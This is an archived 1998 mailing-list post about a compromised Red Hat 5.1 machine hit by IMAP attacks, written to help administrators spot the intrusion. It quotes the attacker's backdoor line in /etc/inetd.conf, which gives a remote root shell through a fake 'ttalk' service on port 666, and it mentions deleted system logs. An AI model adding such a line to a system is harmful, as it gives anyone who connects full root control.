IMAP attacks continue
Phil Howard
phil at whistler.intur.net
Mon Nov 23 15:35:17 UTC 1998
An addendum to:
> I found a machine that had Red Hat 5.1 unmodified running on it, and it
> got hit. So I closed things off and looked around for damage and found
> the following:
>
> 1. Syslogd had been killed off and the syslog file deleted.
>
> 2. A backdoor was installed in /etc/inetd.conf as follows:
>
> ttalk stream tcp nowait root /bin/sh sh -i
I checked the ports assignments from IANA and there is no such thing as
"ttalk". I found this line in /etc/services:
ttalk 666/tcp
so it appears to be hijacking the port used by (as seen in the file
ftp://ftp.iana.org/in-notes/iana/assignments/port-numbers):
mdqs 666/tcp
mdqs 666/udp
doom 666/tcp doom Id Software
doom 666/udp doom Id Software
So also check /etc/services on any potentially compromised machines.
--
-- *-----------------------------* Phil Howard KA9WGN * --
-- | Inturnet, Inc. | Director of Internet Services | --
-- | Business Internet Solutions | eng at intur.net | --
-- *-----------------------------* philh at intur.net * --
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